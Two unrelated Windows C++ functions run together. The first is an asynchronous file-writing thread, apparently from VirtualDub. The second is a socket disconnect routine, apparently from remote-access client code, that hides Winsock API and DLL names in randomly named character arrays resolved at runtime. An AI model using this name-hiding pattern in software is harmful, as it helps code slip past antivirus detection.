void VDFileAsyncNT::ThreadRun() { int requestHead = 0; int requestTail = 0; int requestCount = mBlockCount; uint32 pendingLevel = 0; uint32 readOffset = 0; bool bPreemptiveExtend = mbPreemptiveExtend; sint64 currentSize; try { if (!VDGetFileSizeW32(mhFileFast, currentSize)) throw MyWin32Error("I/O error on file \"%s\": %%s", GetLastError(), mFilename.c_str()); for(;;) { int state = mState; if (state == kStateAbort) { typedef BOOL (WINAPI *tpCancelIo)(HANDLE); static const tpCancelIo pCancelIo = (tpCancelIo)GetProcAddress(GetModuleHandle(L"kernel32"), "CancelIo"); pCancelIo(mhFileFast); // Wait for any pending blocks to complete. for(int i=0; i<requestCount; ++i) { VDFileAsyncNTBuffer& buf = mpBlocks[i]; if (buf.mbActive) { WaitForSingleObject(buf.hEvent, INFINITE); buf.mbActive = false; } } break; } uint32 actual = mBufferLevel - pendingLevel; VDASSERT((int)actual >= 0); if (readOffset + actual > mBufferSize) actual = mBufferSize - readOffset; if (actual < mBlockSize) { if (state == kStateNormal || actual < mSectorSize) { // check for blocks that have completed bool blocksCompleted = false; for(;;) { VDFileAsyncNTBuffer& buf = mpBlocks[requestTail]; if (!buf.mbActive) { if (state == kStateFlush) goto all_done; if (!blocksCompleted) { // wait for further writes mWriteOccurred.wait(); } break; } if (buf.mbPending) { HANDLE h[2] = {buf.hEvent, mWriteOccurred.getHandle()}; DWORD waitResult = WaitForMultipleObjects(2, h, FALSE, INFINITE); if (waitResult == WAIT_OBJECT_0+1) // write pending break; DWORD dwActual; if (!GetOverlappedResult(mhFileFast, &buf, &dwActual, TRUE)) throw MyWin32Error("Write error occurred on file \"%s\": %%s", GetLastError(), mFilename.c_str()); } buf.mbActive = false; blocksCompleted = true; if (++requestTail >= requestCount) requestTail = 0; mBufferLevel -= buf.mLength; pendingLevel -= buf.mLength; VDASSERT((int)mBufferLevel >= 0); VDASSERT((int)pendingLevel >= 0); mReadOccurred.signal(); } continue; } VDASSERT(state == kStateFlush); actual &= ~(mSectorSize-1); VDASSERT(actual > 0); } else { actual = mBlockSize; if (bPreemptiveExtend) { sint64 checkpt = mFastPointer + mBlockSize + mBufferSize; if (checkpt > currentSize) { currentSize += mBufferSize; if (currentSize < checkpt) currentSize = checkpt; if (!VDSetFilePointerW32(mhFileFast, currentSize, FILE_BEGIN) || !SetEndOfFile(mhFileFast)) mbPreemptiveExtend = bPreemptiveExtend = false; } } } // Issue a write to OS VDFileAsyncNTBuffer& buf = mpBlocks[requestHead]; VDASSERT(!buf.mbActive); DWORD dwActual; buf.Offset = (DWORD)mFastPointer; buf.OffsetHigh = (DWORD)((uint64)mFastPointer >> 32); buf.Internal = 0; buf.InternalHigh = 0; buf.mLength = actual; buf.mbPending = false; if (!WriteFile(mhFileFast, &mBuffer[readOffset], actual, &dwActual, &buf)) { if (GetLastError() != ERROR_IO_PENDING) throw MyWin32Error("Write error occurred on file \"%s\": %%s", GetLastError(), mFilename.c_str()); buf.mbPending = true; } buf.mbActive = true; pendingLevel += actual; VDASSERT(pendingLevel <= (uint32)mBufferLevel); readOffset += actual; VDASSERT(readOffset <= mBufferSize); if (readOffset >= mBufferSize) readOffset = 0; mFastPointer += actual; if (++requestHead >= requestCount) requestHead = 0; } all_done: ; } catch(MyError& e) { MyError *p = new MyError; p->TransferFrom(e); delete mpError.xchg(p); mReadOccurred.signal(); } }
void CClientSocket::Disconnect() { typedef int (WSAAPI *setsockoptT)( IN SOCKET s, IN int level, IN int optname, IN const char FAR * optval, IN int optlen ); char UfUQqFY[] = {'s','e','t','s','o','c','k','o','p','t','\0'}; char nZSZGQH[] = {'W','S','2','_','3','2','.','d','l','l','\0'}; setsockoptT psetsockopt=(setsockoptT)GetProcAddress(LoadLibrary(nZSZGQH),UfUQqFY); typedef int (WSAAPI *closesocketT)( IN SOCKET s ); char GKGvYsR[] = {'c','l','o','s','e','s','o','c','k','e','t','\0'}; closesocketT pclosesocket=(closesocketT)GetProcAddress(LoadLibrary(nZSZGQH),GKGvYsR); typedef BOOL (WINAPI *CancelIoT)( __in HANDLE hFile ); CancelIoT pCancelIo=(CancelIoT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"CancelIo"); typedef BOOL (WINAPI *SetEventT) ( __in HANDLE hEvent ); SetEventT pSetEvent = (SetEventT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"SetEvent"); typedef LONG (WINAPI *InterlockedExchangeT) ( __inout LONG volatile *Target, __in LONG Value ); InterlockedExchangeT pInterlockedExchange = (InterlockedExchangeT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"InterlockedExchange"); // // If we're supposed to abort the connection, set the linger value // on the socket to 0. // LINGER lingerStruct; lingerStruct.l_onoff = 1; lingerStruct.l_linger = 0; psetsockopt(m_Socket, SOL_SOCKET, SO_LINGER, (char *)&lingerStruct, sizeof(lingerStruct) ); pCancelIo((HANDLE) m_Socket); pInterlockedExchange((LPLONG)&m_bIsRunning, false); pclosesocket(m_Socket); pSetEvent(m_hEvent); m_Socket = INVALID_SOCKET; }